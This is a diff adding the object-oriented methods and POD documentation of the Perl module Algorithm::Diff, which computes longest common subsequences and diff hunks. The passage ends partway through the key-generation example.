+sub _Min() { -2 } # Added to _Off to get min instead of max+1
+
+sub Die
+{
+ require Carp;
+ Carp::confess( @_ );
+}
+
+sub _ChkPos
+{
+ my( $me )= @_;
+ return if $me->[_Pos];
+ my $meth= ( caller(1) )[3];
+ Die( "Called $meth on 'reset' object" );
+}
+
+sub _ChkSeq
+{
+ my( $me, $seq )= @_;
+ return $seq + $me->[_Off]
+ if 1 == $seq || 2 == $seq;
+ my $meth= ( caller(1) )[3];
+ Die( "$meth: Invalid sequence number ($seq); must be 1 or 2" );
+}
+
+sub getObjPkg
+{
+ my( $us )= @_;
+ return ref $us if ref $us;
+ return $us . "::_obj";
+}
+
+sub new
+{
+ my( $us, $seq1, $seq2, $opts ) = @_;
+ my @args;
+ for( $opts->{keyGen} ) {
+ push @args, $_ if $_;
+ }
+ for( $opts->{keyGenArgs} ) {
+ push @args, @$_ if $_;
+ }
+ my $cdif= Algorithm::Diff::compact_diff( $seq1, $seq2, @args );
+ my $same= 1;
+ if( 0 == $cdif->[2] && 0 == $cdif->[3] ) {
+ $same= 0;
+ splice @$cdif, 0, 2;
+ }
+ my @obj= ( $cdif, $seq1, $seq2 );
+ $obj[_End] = (1+@$cdif)/2;
+ $obj[_Same] = $same;
+ $obj[_Base] = 0;
+ my $me = bless \@obj, $us->getObjPkg();
+ $me->Reset( 0 );
+ return $me;
+}
+
+sub Reset
+{
+ my( $me, $pos )= @_;
+ $pos= int( $pos || 0 );
+ $pos += $me->[_End]
+ if $pos < 0;
+ $pos= 0
+ if $pos < 0 || $me->[_End] <= $pos;
+ $me->[_Pos]= $pos || !1;
+ $me->[_Off]= 2*$pos - 1;
+ return $me;
+}
+
+sub Base
+{
+ my( $me, $base )= @_;
+ my $oldBase= $me->[_Base];
+ $me->[_Base]= 0+$base if defined $base;
+ return $oldBase;
+}
+
+sub Copy
+{
+ my( $me, $pos, $base )= @_;
+ my @obj= @$me;
+ my $you= bless \@obj, ref($me);
+ $you->Reset( $pos ) if defined $pos;
+ $you->Base( $base );
+ return $you;
+}
+
+sub Next {
+ my( $me, $steps )= @_;
+ $steps= 1 if ! defined $steps;
+ if( $steps ) {
+ my $pos= $me->[_Pos];
+ my $new= $pos + $steps;
+ $new= 0 if $pos && $new < 0;
+ $me->Reset( $new )
+ }
+ return $me->[_Pos];
+}
+
+sub Prev {
+ my( $me, $steps )= @_;
+ $steps= 1 if ! defined $steps;
+ my $pos= $me->Next(-$steps);
+ $pos -= $me->[_End] if $pos;
+ return $pos;
+}
+
+sub Diff {
+ my( $me )= @_;
+ $me->_ChkPos();
+ return 0 if $me->[_Same] == ( 1 & $me->[_Pos] );
+ my $ret= 0;
+ my $off= $me->[_Off];
+ for my $seq ( 1, 2 ) {
+ $ret |= $seq
+ if $me->[_Idx][ $off + $seq + _Min ]
+ < $me->[_Idx][ $off + $seq ];
+ }
+ return $ret;
+}
+
+sub Min {
+ my( $me, $seq, $base )= @_;
+ $me->_ChkPos();
+ my $off= $me->_ChkSeq($seq);
+ $base= $me->[_Base] if !defined $base;
+ return $base + $me->[_Idx][ $off + _Min ];
+}
+
+sub Max {
+ my( $me, $seq, $base )= @_;
+ $me->_ChkPos();
+ my $off= $me->_ChkSeq($seq);
+ $base= $me->[_Base] if !defined $base;
+ return $base + $me->[_Idx][ $off ] -1;
+}
+
+sub Range {
+ my( $me, $seq, $base )= @_;
+ $me->_ChkPos();
+ my $off = $me->_ChkSeq($seq);
+ if( !wantarray ) {
+ return $me->[_Idx][ $off ]
+ - $me->[_Idx][ $off + _Min ];
+ }
+ $base= $me->[_Base] if !defined $base;
+ return ( $base + $me->[_Idx][ $off + _Min ] )
+ .. ( $base + $me->[_Idx][ $off ] - 1 );
+}
+
+sub Items {
+ my( $me, $seq )= @_;
+ $me->_ChkPos();
+ my $off = $me->_ChkSeq($seq);
+ if( !wantarray ) {
+ return $me->[_Idx][ $off ]
+ - $me->[_Idx][ $off + _Min ];
+ }
+ return
+ @{$me->[$seq]}[
+ $me->[_Idx][ $off + _Min ]
+ .. ( $me->[_Idx][ $off ] - 1 )
+ ];
+}
+
+sub Same {
+ my( $me )= @_;
+ $me->_ChkPos();
+ return wantarray ? () : 0
+ if $me->[_Same] != ( 1 & $me->[_Pos] );
+ return $me->Items(1);
+}
+
+my %getName;
+BEGIN {
+ %getName= (
+ same => \&Same,
+ diff => \&Diff,
+ base => \&Base,
+ min => \&Min,
+ max => \&Max,
+ range=> \&Range,
+ items=> \&Items, # same thing
+ );
+}
+
+sub Get
+{
+ my $me= shift @_;
+ $me->_ChkPos();
+ my @value;
+ for my $arg ( @_ ) {
+ for my $word ( split ' ', $arg ) {
+ my $meth;
+ if( $word !~ /^(-?\d+)?([a-zA-Z]+)([12])?$/
+ || not $meth= $getName{ lc $2 }
+ ) {
+ Die( $Root, ", Get: Invalid request ($word)" );
+ }
+ my( $base, $name, $seq )= ( $1, $2, $3 );
+ push @value, scalar(
+ 4 == length($name)
+ ? $meth->( $me )
+ : $meth->( $me, $seq, $base )
+ );
+ }
+ }
+ if( wantarray ) {
+ return @value;
+ } elsif( 1 == @value ) {
+ return $value[0];
+ }
+ Die( 0+@value, " values requested from ",
+ $Root, "'s Get in scalar context" );
+}
+
+
+my $Obj= getObjPkg($Root);
+no strict 'refs';
+
+for my $meth ( qw( new getObjPkg ) ) {
+ *{$Root."::".$meth} = \&{$meth};
+ *{$Obj ."::".$meth} = \&{$meth};
+}
+for my $meth ( qw(
+ Next Prev Reset Copy Base Diff
+ Same Items Range Min Max Get
+ _ChkPos _ChkSeq
+) ) {
+ *{$Obj."::".$meth} = \&{$meth};
+}
+
+1;
+__END__
+
+=head1 NAME
+
+Algorithm::Diff - Compute `intelligent' differences between two files / lists
+
+=head1 SYNOPSIS
+
+ require Algorithm::Diff;
+
+ # This example produces traditional 'diff' output:
+
+ my $diff = Algorithm::Diff->new( \@seq1, \@seq2 );
+
+ $diff->Base( 1 ); # Return line numbers, not indices
+ while( $diff->Next() ) {
+ next if $diff->Same();
+ my $sep = '';
+ if( ! $diff->Items(2) ) {
+ sprintf "%d,%dd%d\n",
+ $diff->Get(qw( Min1 Max1 Max2 ));
+ } elsif( ! $diff->Items(1) ) {
+ sprint "%da%d,%d\n",
+ $diff->Get(qw( Max1 Min2 Max2 ));
+ } else {
+ $sep = "---\n";
+ sprintf "%d,%dc%d,%d\n",
+ $diff->Get(qw( Min1 Max1 Min2 Max2 ));
+ }
+ print "< $_" for $diff->Items(1);
+ print $sep;
+ print "> $_" for $diff->Items(2);
+ }
+
+
+ # Alternate interfaces:
+
+ use Algorithm::Diff qw(
+ LCS LCS_length LCSidx
+ diff sdiff compact_diff
+ traverse_sequences traverse_balanced );
+
+ @lcs = LCS( \@seq1, \@seq2 );
+ $lcsref = LCS( \@seq1, \@seq2 );
+ $count = LCS_length( \@seq1, \@seq2 );
+
+ ( $seq1idxref, $seq2idxref ) = LCSidx( \@seq1, \@seq2 );
+
+
+ # Complicated interfaces:
+
+ @diffs = diff( \@seq1, \@seq2 );
+
+ @sdiffs = sdiff( \@seq1, \@seq2 );
+
+ @cdiffs = compact_diff( \@seq1, \@seq2 );
+
+ traverse_sequences(
+ \@seq1,
+ \@seq2,
+ { MATCH => \&callback1,
+ DISCARD_A => \&callback2,
+ DISCARD_B => \&callback3,
+ },
+ \&key_generator,
+ @extra_args,
+ );
+
+ traverse_balanced(
+ \@seq1,
+ \@seq2,
+ { MATCH => \&callback1,
+ DISCARD_A => \&callback2,
+ DISCARD_B => \&callback3,
+ CHANGE => \&callback4,
+ },
+ \&key_generator,
+ @extra_args,
+ );
+
+
+=head1 INTRODUCTION
+
+(by Mark-Jason Dominus)
+
+I once read an article written by the authors of C<diff>; they said
+that they worked very hard on the algorithm until they found the
+right one.
+
+I think what they ended up using (and I hope someone will correct me,
+because I am not very confident about this) was the `longest common
+subsequence' method. In the LCS problem, you have two sequences of
+items:
+
+ a b c d f g h j q z
+
+ a b c d e f g i j k r x y z
+
+and you want to find the longest sequence of items that is present in
+both original sequences in the same order. That is, you want to find
+a new sequence I<S> which can be obtained from the first sequence by
+deleting some items, and from the secend sequence by deleting other
+items. You also want I<S> to be as long as possible. In this case I<S>
+is
+
+ a b c d f g j z
+
+From there it's only a small step to get diff-like output:
+
+ e h i k q r x y
+ + - + + - + + +
+
+This module solves the LCS problem. It also includes a canned function
+to generate C<diff>-like output.
+
+It might seem from the example above that the LCS of two sequences is
+always pretty obvious, but that's not always the case, especially when
+the two sequences have many repeated elements. For example, consider
+
+ a x b y c z p d q
+ a b c a x b y c z
+
+A naive approach might start by matching up the C<a> and C<b> that
+appear at the beginning of each sequence, like this:
+
+ a x b y c z p d q
+ a b c a b y c z
+
+This finds the common subsequence C<a b c z>. But actually, the LCS
+is C<a x b y c z>:
+
+ a x b y c z p d q
+ a b c a x b y c z
+
+or
+
+ a x b y c z p d q
+ a b c a x b y c z
+
+=head1 USAGE
+
+(See also the README file and several example
+scripts include with this module.)
+
+This module now provides an object-oriented interface that uses less
+memory and is easier to use than most of the previous procedural
+interfaces. It also still provides several exportable functions. We'll
+deal with these in ascending order of difficulty: C<LCS>,
+C<LCS_length>, C<LCSidx>, OO interface, C<prepare>, C<diff>, C<sdiff>,
+C<traverse_sequences>, and C<traverse_balanced>.
+
+=head2 C<LCS>
+
+Given references to two lists of items, LCS returns an array containing
+their longest common subsequence. In scalar context, it returns a
+reference to such a list.
+
+ @lcs = LCS( \@seq1, \@seq2 );
+ $lcsref = LCS( \@seq1, \@seq2 );
+
+C<LCS> may be passed an optional third parameter; this is a CODE
+reference to a key generation function. See L</KEY GENERATION
+FUNCTIONS>.
+
+ @lcs = LCS( \@seq1, \@seq2, \&keyGen, @args );
+ $lcsref = LCS( \@seq1, \@seq2, \&keyGen, @args );
+
+Additional parameters, if any, will be passed to the key generation
+routine.
+
+=head2 C<LCS_length>
+
+This is just like C<LCS> except it only returns the length of the
+longest common subsequence. This provides a performance gain of about
+9% compared to C<LCS>.
+
+=head2 C<LCSidx>
+
+Like C<LCS> except it returns references to two arrays. The first array
+contains the indices into @seq1 where the LCS items are located. The
+second array contains the indices into @seq2 where the LCS items are located.
+
+Therefore, the following three lists will contain the same values:
+
+ my( $idx1, $idx2 ) = LCSidx( \@seq1, \@seq2 );
+ my @list1 = @seq1[ @$idx1 ];
+ my @list2 = @seq2[ @$idx2 ];
+ my @list3 = LCS( \@seq1, \@seq2 );
+
+=head2 C<new>
+
+ $diff = Algorithm::Diffs->new( \@seq1, \@seq2 );
+ $diff = Algorithm::Diffs->new( \@seq1, \@seq2, \%opts );
+
+C<new> computes the smallest set of additions and deletions necessary
+to turn the first sequence into the second and compactly records them
+in the object.
+
+You use the object to iterate over I<hunks>, where each hunk represents
+a contiguous section of items which should be added, deleted, replaced,
+or left unchanged.
+
+=over 4
+
+The following summary of all of the methods looks a lot like Perl code
+but some of the symbols have different meanings:
+
+ [ ] Encloses optional arguments
+ : Is followed by the default value for an optional argument
+ | Separates alternate return results
+
+Method summary:
+
+ $obj = Algorithm::Diff->new( \@seq1, \@seq2, [ \%opts ] );
+ $pos = $obj->Next( [ $count : 1 ] );
+ $revPos = $obj->Prev( [ $count : 1 ] );
+ $obj = $obj->Reset( [ $pos : 0 ] );
+ $copy = $obj->Copy( [ $pos, [ $newBase ] ] );
+ $oldBase = $obj->Base( [ $newBase ] );
+
+Note that all of the following methods C<die> if used on an object that
+is "reset" (not currently pointing at any hunk).
+
+ $bits = $obj->Diff( );
+ @items|$cnt = $obj->Same( );
+ @items|$cnt = $obj->Items( $seqNum );
+ @idxs |$cnt = $obj->Range( $seqNum, [ $base ] );
+ $minIdx = $obj->Min( $seqNum, [ $base ] );
+ $maxIdx = $obj->Max( $seqNum, [ $base ] );
+ @values = $obj->Get( @names );
+
+Passing in C<undef> for an optional argument is always treated the same
+as if no argument were passed in.
+
+=item C<Next>
+
+ $pos = $diff->Next(); # Move forward 1 hunk
+ $pos = $diff->Next( 2 ); # Move forward 2 hunks
+ $pos = $diff->Next(-5); # Move backward 5 hunks
+
+C<Next> moves the object to point at the next hunk. The object starts
+out "reset", which means it isn't pointing at any hunk. If the object
+is reset, then C<Next()> moves to the first hunk.
+
+C<Next> returns a true value iff the move didn't go past the last hunk.
+So C<Next(0)> will return true iff the object is not reset.
+
+Actually, C<Next> returns the object's new position, which is a number
+between 1 and the number of hunks (inclusive), or returns a false value.
+
+=item C<Prev>
+
+C<Prev($N)> is almost identical to C<Next(-$N)>; it moves to the $Nth
+previous hunk. On a 'reset' object, C<Prev()> [and C<Next(-1)>] move
+to the last hunk.
+
+The position returned by C<Prev> is relative to the I<end> of the
+hunks; -1 for the last hunk, -2 for the second-to-last, etc.
+
+=item C<Reset>
+
+ $diff->Reset(); # Reset the object's position
+ $diff->Reset($pos); # Move to the specified hunk
+ $diff->Reset(1); # Move to the first hunk
+ $diff->Reset(-1); # Move to the last hunk
+
+C<Reset> returns the object, so, for example, you could use
+C<< $diff->Reset()->Next(-1) >> to get the number of hunks.
+
+=item C<Copy>
+
+ $copy = $diff->Copy( $newPos, $newBase );
+
+C<Copy> returns a copy of the object. The copy and the orignal object
+share most of their data, so making copies takes very little memory.
+The copy maintains its own position (separate from the original), which
+is the main purpose of copies. It also maintains its own base.
+
+By default, the copy's position starts out the same as the original
+object's position. But C<Copy> takes an optional first argument to set the
+new position, so the following three snippets are equivalent:
+
+ $copy = $diff->Copy($pos);
+
+ $copy = $diff->Copy();
+ $copy->Reset($pos);
+
+ $copy = $diff->Copy()->Reset($pos);
+
+C<Copy> takes an optional second argument to set the base for
+the copy. If you wish to change the base of the copy but leave
+the position the same as in the original, here are two
+equivalent ways:
+
+ $copy = $diff->Copy();
+ $copy->Base( 0 );
+
+ $copy = $diff->Copy(undef,0);
+
+Here are two equivalent way to get a "reset" copy:
+
+ $copy = $diff->Copy(0);
+
+ $copy = $diff->Copy()->Reset();
+
+=item C<Diff>
+
+ $bits = $obj->Diff();
+
+C<Diff> returns a true value iff the current hunk contains items that are
+different between the two sequences. It actually returns one of the
+follow 4 values:
+
+=over 4
+
+=item 3
+
+C<3==(1|2)>. This hunk contains items from @seq1 and the items
+from @seq2 that should replace them. Both sequence 1 and 2
+contain changed items so both the 1 and 2 bits are set.
+
+=item 2
+
+This hunk only contains items from @seq2 that should be inserted (not
+items from @seq1). Only sequence 2 contains changed items so only the 2
+bit is set.
+
+=item 1
+
+This hunk only contains items from @seq1 that should be deleted (not
+items from @seq2). Only sequence 1 contains changed items so only the 1
+bit is set.
+
+=item 0
+
+This means that the items in this hunk are the same in both sequences.
+Neither sequence 1 nor 2 contain changed items so neither the 1 nor the
+2 bits are set.
+
+=back
+
+=item C<Same>
+
+C<Same> returns a true value iff the current hunk contains items that
+are the same in both sequences. It actually returns the list of items
+if they are the same or an emty list if they aren't. In a scalar
+context, it returns the size of the list.
+
+=item C<Items>
+
+ $count = $diff->Items(2);
+ @items = $diff->Items($seqNum);
+
+C<Items> returns the (number of) items from the specified sequence that
+are part of the current hunk.
+
+If the current hunk contains only insertions, then
+C<< $diff->Items(1) >> will return an empty list (0 in a scalar conext).
+If the current hunk contains only deletions, then C<< $diff->Items(2) >>
+will return an empty list (0 in a scalar conext).
+
+If the hunk contains replacements, then both C<< $diff->Items(1) >> and
+C<< $diff->Items(2) >> will return different, non-empty lists.
+
+Otherwise, the hunk contains identical items and all of the following
+will return the same lists:
+
+ @items = $diff->Items(1);
+ @items = $diff->Items(2);
+ @items = $diff->Same();
+
+=item C<Range>
+
+ $count = $diff->Range( $seqNum );
+ @indices = $diff->Range( $seqNum );
+ @indices = $diff->Range( $seqNum, $base );
+
+C<Range> is like C<Items> except that it returns a list of I<indices> to
+the items rather than the items themselves. By default, the index of
+the first item (in each sequence) is 0 but this can be changed by
+calling the C<Base> method. So, by default, the following two snippets
+return the same lists:
+
+ @list = $diff->Items(2);
+ @list = @seq2[ $diff->Range(2) ];
+
+You can also specify the base to use as the second argument. So the
+following two snippets I<always> return the same lists:
+
+ @list = $diff->Items(1);
+ @list = @seq1[ $diff->Range(1,0) ];
+
+=item C<Base>
+
+ $curBase = $diff->Base();
+ $oldBase = $diff->Base($newBase);
+
+C<Base> sets and/or returns the current base (usually 0 or 1) that is
+used when you request range information. The base defaults to 0 so
+that range information is returned as array indices. You can set the
+base to 1 if you want to report traditional line numbers instead.
+
+=item C<Min>
+
+ $min1 = $diff->Min(1);
+ $min = $diff->Min( $seqNum, $base );
+
+C<Min> returns the first value that C<Range> would return (given the
+same arguments) or returns C<undef> if C<Range> would return an empty
+list.
+
+=item C<Max>
+
+C<Max> returns the last value that C<Range> would return or C<undef>.
+
+=item C<Get>
+
+ ( $n, $x, $r ) = $diff->Get(qw( min1 max1 range1 ));
+ @values = $diff->Get(qw( 0min2 1max2 range2 same base ));
+
+C<Get> returns one or more scalar values. You pass in a list of the
+names of the values you want returned. Each name must match one of the
+following regexes:
+
+ /^(-?\d+)?(min|max)[12]$/i
+ /^(range[12]|same|diff|base)$/i
+
+The 1 or 2 after a name says which sequence you want the information
+for (and where allowed, it is required). The optional number before
+"min" or "max" is the base to use. So the following equalities hold:
+
+ $diff->Get('min1') == $diff->Min(1)
+ $diff->Get('0min2') == $diff->Min(2,0)
+
+Using C<Get> in a scalar context when you've passed in more than one
+name is a fatal error (C<die> is called).
+
+=back
+
+=head2 C<prepare>
+
+Given a reference to a list of items, C<prepare> returns a reference
+to a hash which can be used when comparing this sequence to other
+sequences with C<LCS> or C<LCS_length>.
+
+ $prep = prepare( \@seq1 );
+ for $i ( 0 .. 10_000 )
+ {
+ @lcs = LCS( $prep, $seq[$i] );
+ # do something useful with @lcs
+ }
+
+C<prepare> may be passed an optional third parameter; this is a CODE
+reference to a key generation function. See L</KEY GENERATION
+FUNCTIONS>.
+
+ $prep = prepare( \@seq1, \&keyGen );
+ for $i ( 0 .. 10_000 )
+ {
+ @lcs = LCS( $seq[$i], $prep, \&keyGen );
+ # do something useful with @lcs
+ }
+
+Using C<prepare> provides a performance gain of about 50% when calling LCS
+many times compared with not preparing.
+
+=head2 C<diff>
+
+ @diffs = diff( \@seq1, \@seq2 );
+ $diffs_ref = diff( \@seq1, \@seq2 );
+
+C<diff> computes the smallest set of additions and deletions necessary
+to turn the first sequence into the second, and returns a description
+of these changes. The description is a list of I<hunks>; each hunk
+represents a contiguous section of items which should be added,
+deleted, or replaced. (Hunks containing unchanged items are not
+included.)
+
+The return value of C<diff> is a list of hunks, or, in scalar context, a
+reference to such a list. If there are no differences, the list will be
+empty.
+
+Here is an example. Calling C<diff> for the following two sequences:
+
+ a b c e h j l m n p
+ b c d e f j k l m r s t
+
+would produce the following list:
+
+ (
+ [ [ '-', 0, 'a' ] ],
+
+ [ [ '+', 2, 'd' ] ],
+
+ [ [ '-', 4, 'h' ],
+ [ '+', 4, 'f' ] ],
+
+ [ [ '+', 6, 'k' ] ],
+
+ [ [ '-', 8, 'n' ],
+ [ '-', 9, 'p' ],
+ [ '+', 9, 'r' ],
+ [ '+', 10, 's' ],
+ [ '+', 11, 't' ] ],
+ )
+
+There are five hunks here. The first hunk says that the C<a> at
+position 0 of the first sequence should be deleted (C<->). The second
+hunk says that the C<d> at position 2 of the second sequence should
+be inserted (C<+>). The third hunk says that the C<h> at position 4
+of the first sequence should be removed and replaced with the C<f>
+from position 4 of the second sequence. And so on.
+
+C<diff> may be passed an optional third parameter; this is a CODE
+reference to a key generation function. See L</KEY GENERATION
+FUNCTIONS>.
+
+Additional parameters, if any, will be passed to the key generation
+routine.
+
+=head2 C<sdiff>
+
+ @sdiffs = sdiff( \@seq1, \@seq2 );
+ $sdiffs_ref = sdiff( \@seq1, \@seq2 );
+
+C<sdiff> computes all necessary components to show two sequences
+and their minimized differences side by side, just like the
+Unix-utility I<sdiff> does:
+
+ same same
+ before | after
+ old < -
+ - > new
+
+It returns a list of array refs, each pointing to an array of
+display instructions. In scalar context it returns a reference
+to such a list. If there are no differences, the list will have one
+entry per item, each indicating that the item was unchanged.
+
+Display instructions consist of three elements: A modifier indicator
+(C<+>: Element added, C<->: Element removed, C<u>: Element unmodified,
+C<c>: Element changed) and the value of the old and new elements, to
+be displayed side-by-side.
+
+An C<sdiff> of the following two sequences:
+
+ a b c e h j l m n p
+ b c d e f j k l m r s t
+
+results in
+
+ ( [ '-', 'a', '' ],
+ [ 'u', 'b', 'b' ],
+ [ 'u', 'c', 'c' ],
+ [ '+', '', 'd' ],
+ [ 'u', 'e', 'e' ],
+ [ 'c', 'h', 'f' ],
+ [ 'u', 'j', 'j' ],
+ [ '+', '', 'k' ],
+ [ 'u', 'l', 'l' ],
+ [ 'u', 'm', 'm' ],
+ [ 'c', 'n', 'r' ],
+ [ 'c', 'p', 's' ],
+ [ '+', '', 't' ],
+ )
+
+C<sdiff> may be passed an optional third parameter; this is a CODE
+reference to a key generation function. See L</KEY GENERATION
+FUNCTIONS>.
+
+Additional parameters, if any, will be passed to the key generation
+routine.
+
+=head2 C<compact_diff>
+
+C<compact_diff> is much like C<sdiff> except it returns a much more
+compact description consisting of just one flat list of indices. An
+example helps explain the format:
+
+ my @a = qw( a b c e h j l m n p );
+ my @b = qw( b c d e f j k l m r s t );
+ @cdiff = compact_diff( \@a, \@b );
+ # Returns:
+ # @a @b @a @b
+ # start start values values
+ ( 0, 0, # =
+ 0, 0, # a !
+ 1, 0, # b c = b c
+ 3, 2, # ! d
+ 3, 3, # e = e
+ 4, 4, # f ! h
+ 5, 5, # j = j
+ 6, 6, # ! k
+ 6, 7, # l m = l m
+ 8, 9, # n p ! r s t
+ 10, 12, #
+ );
+
+The 0th, 2nd, 4th, etc. entries are all indices into @seq1 (@a in the
+above example) indicating where a hunk begins. The 1st, 3rd, 5th, etc.
+entries are all indices into @seq2 (@b in the above example) indicating
+where the same hunk begins.
+
+So each pair of indices (except the last pair) describes where a hunk
+begins (in each sequence). Since each hunk must end at the item just
+before the item that starts the next hunk, the next pair of indices can
+be used to determine where the hunk ends.
+
+So, the first 4 entries (0..3) describe the first hunk. Entries 0 and 1
+describe where the first hunk begins (and so are always both 0).
+Entries 2 and 3 describe where the next hunk begins, so subtracting 1
+from each tells us where the first hunk ends. That is, the first hunk
+contains items C<$diff[0]> through C<$diff[2] - 1> of the first sequence
+and contains items C<$diff[1]> through C<$diff[3] - 1> of the second
+sequence.
+
+In other words, the first hunk consists of the following two lists of items:
+
+ # 1st pair 2nd pair
+ # of indices of indices
+ @list1 = @a[ $cdiff[0] .. $cdiff[2]-1 ];
+ @list2 = @b[ $cdiff[1] .. $cdiff[3]-1 ];
+ # Hunk start Hunk end
+
+Note that the hunks will always alternate between those that are part of
+the LCS (those that contain unchanged items) and those that contain
+changes. This means that all we need to be told is whether the first
+hunk is a 'same' or 'diff' hunk and we can determine which of the other
+hunks contain 'same' items or 'diff' items.
+
+By convention, we always make the first hunk contain unchanged items.
+So the 1st, 3rd, 5th, etc. hunks (all odd-numbered hunks if you start
+counting from 1) all contain unchanged items. And the 2nd, 4th, 6th,
+etc. hunks (all even-numbered hunks if you start counting from 1) all
+contain changed items.
+
+Since @a and @b don't begin with the same value, the first hunk in our
+example is empty (otherwise we'd violate the above convention). Note
+that the first 4 index values in our example are all zero. Plug these
+values into our previous code block and we get:
+
+ @hunk1a = @a[ 0 .. 0-1 ];
+ @hunk1b = @b[ 0 .. 0-1 ];
+
+And C<0..-1> returns the empty list.
+
+Move down one pair of indices (2..5) and we get the offset ranges for
+the second hunk, which contains changed items.
+
+Since C<@diff[2..5]> contains (0,0,1,0) in our example, the second hunk
+consists of these two lists of items:
+
+ @hunk2a = @a[ $cdiff[2] .. $cdiff[4]-1 ];
+ @hunk2b = @b[ $cdiff[3] .. $cdiff[5]-1 ];
+ # or
+ @hunk2a = @a[ 0 .. 1-1 ];
+ @hunk2b = @b[ 0 .. 0-1 ];
+ # or
+ @hunk2a = @a[ 0 .. 0 ];
+ @hunk2b = @b[ 0 .. -1 ];
+ # or
+ @hunk2a = ( 'a' );
+ @hunk2b = ( );
+
+That is, we would delete item 0 ('a') from @a.
+
+Since C<@diff[4..7]> contains (1,0,3,2) in our example, the third hunk
+consists of these two lists of items:
+
+ @hunk3a = @a[ $cdiff[4] .. $cdiff[6]-1 ];
+ @hunk3a = @b[ $cdiff[5] .. $cdiff[7]-1 ];
+ # or
+ @hunk3a = @a[ 1 .. 3-1 ];
+ @hunk3a = @b[ 0 .. 2-1 ];
+ # or
+ @hunk3a = @a[ 1 .. 2 ];
+ @hunk3a = @b[ 0 .. 1 ];
+ # or
+ @hunk3a = qw( b c );
+ @hunk3a = qw( b c );
+
+Note that this third hunk contains unchanged items as our convention demands.
+
+You can continue this process until you reach the last two indices,
+which will always be the number of items in each sequence. This is
+required so that subtracting one from each will give you the indices to
+the last items in each sequence.
+
+=head2 C<traverse_sequences>
+
+C<traverse_sequences> used to be the most general facility provided by
+this module (the new OO interface is more powerful and much easier to
+use).
+
+Imagine that there are two arrows. Arrow A points to an element of
+sequence A, and arrow B points to an element of the sequence B.
+Initially, the arrows point to the first elements of the respective
+sequences. C<traverse_sequences> will advance the arrows through the
+sequences one element at a time, calling an appropriate user-specified
+callback function before each advance. It willadvance the arrows in
+such a way that if there are equal elements C<$A[$i]> and C<$B[$j]>
+which are equal and which are part of the LCS, there will be some moment
+during the execution of C<traverse_sequences> when arrow A is pointing
+to C<$A[$i]> and arrow B is pointing to C<$B[$j]>. When this happens,
+C<traverse_sequences> will call the C<MATCH> callback function and then
+it will advance both arrows.
+
+Otherwise, one of the arrows is pointing to an element of its sequence
+that is not part of the LCS. C<traverse_sequences> will advance that
+arrow and will call the C<DISCARD_A> or the C<DISCARD_B> callback,
+depending on which arrow it advanced. If both arrows point to elements
+that are not part of the LCS, then C<traverse_sequences> will advance
+one of them and call the appropriate callback, but it is not specified
+which it will call.
+
+The arguments to C<traverse_sequences> are the two sequences to
+traverse, and a hash which specifies the callback functions, like this:
+
+ traverse_sequences(
+ \@seq1, \@seq2,
+ { MATCH => $callback_1,
+ DISCARD_A => $callback_2,
+ DISCARD_B => $callback_3,
+ }
+ );
+
+Callbacks for MATCH, DISCARD_A, and DISCARD_B are invoked with at least
+the indices of the two arrows as their arguments. They are not expected
+to return any values. If a callback is omitted from the table, it is
+not called.
+
+Callbacks for A_FINISHED and B_FINISHED are invoked with at least the
+corresponding index in A or B.
+
+If arrow A reaches the end of its sequence, before arrow B does,
+C<traverse_sequences> will call the C<A_FINISHED> callback when it
+advances arrow B, if there is such a function; if not it will call
+C<DISCARD_B> instead. Similarly if arrow B finishes first.
+C<traverse_sequences> returns when both arrows are at the ends of their
+respective sequences. It returns true on success and false on failure.
+At present there is no way to fail.
+
+C<traverse_sequences> may be passed an optional fourth parameter; this
+is a CODE reference to a key generation function. See L</KEY GENERATION
+FUNCTIONS>.
+
+Additional parameters, if any, will be passed to the key generation function.
+
+If you want to pass additional parameters to your callbacks, but don't
+need a custom key generation function, you can get the default by
+passing undef:
+
+ traverse_sequences(
+ \@seq1, \@seq2,
+ { MATCH => $callback_1,
+ DISCARD_A => $callback_2,
+ DISCARD_B => $callback_3,
+ },
+ undef, # default key-gen
+ $myArgument1,
+ $myArgument2,
+ $myArgument3,
+ );
+
+C<traverse_sequences> does not have a useful return value; you are
+expected to plug in the appropriate behavior with the callback
+functions.
+
+=head2 C<traverse_balanced>
+
+C<traverse_balanced> is an alternative to C<traverse_sequences>. It
+uses a different algorithm to iterate through the entries in the
+computed LCS. Instead of sticking to one side and showing element changes
+as insertions and deletions only, it will jump back and forth between
+the two sequences and report I<changes> occurring as deletions on one
+side followed immediatly by an insertion on the other side.
+
+In addition to the C<DISCARD_A>, C<DISCARD_B>, and C<MATCH> callbacks
+supported by C<traverse_sequences>, C<traverse_balanced> supports
+a C<CHANGE> callback indicating that one element got C<replaced> by another:
+
+ traverse_balanced(
+ \@seq1, \@seq2,
+ { MATCH => $callback_1,
+ DISCARD_A => $callback_2,
+ DISCARD_B => $callback_3,
+ CHANGE => $callback_4,
+ }
+ );
+
+If no C<CHANGE> callback is specified, C<traverse_balanced>
+will map C<CHANGE> events to C<DISCARD_A> and C<DISCARD_B> actions,
+therefore resulting in a similar behaviour as C<traverse_sequences>
+with different order of events.
+
+C<traverse_balanced> might be a bit slower than C<traverse_sequences>,
+noticable only while processing huge amounts of data.
+
+The C<sdiff> function of this module
+is implemented as call to C<traverse_balanced>.
+
+C<traverse_balanced> does not have a useful return value; you are expected to
+plug in the appropriate behavior with the callback functions.
+
+=head1 KEY GENERATION FUNCTIONS
+
+Most of the functions accept an optional extra parameter. This is a
+CODE reference to a key generating (hashing) function that should return
+a string that uniquely identifies a given element. It should be the
+case that if two elements are to be considered equal, their keys should
+be the same (and the other way around). If no key generation function
+is provided, the key will be the element as a string.
+
+By default, comparisons will use "eq" and elements will be turned into keys
+using the default stringizing operator '""'.
+
+Where this is important is when you're comparing something other than
+strings. If it is the case that you have multiple different objects
+that should be considered to be equal, you should supply a key
+generation function. Otherwise, you have to make sure that your arrays
+contain unique references.
+
+For instance, consider this example:
+
+ package Person;
+
+ sub new
+ {
+ my $package = shift;
+ return bless { name => '', ssn => '', @_ }, $package;
+ }
+
+ sub clone
+ {
+ my $old = shift;
+ my $new = bless { %$old }, ref($old);
+ }
+
+ sub hash
+ {
+ return shift()->{'ssn'};
+ }
+
+ my $person1 = Person->new( name => 'Joe', ssn => '123-45-6789' );
+ my $person2 = Person->new( name => 'Mary', ssn => '123-47-0000' );
+ my $person3 = Person->new( name => 'Pete', ssn => '999-45-2222' );
+ my $person4 = Person->new( name => 'Peggy', ssn => '123-45-9999' );
+ my $person5 = Person->new( name => 'Frank', ssn => '000-45-9999' );
+
+If you did this:
+
+ my $array1 = [ $person1, $person2, $person4 ];
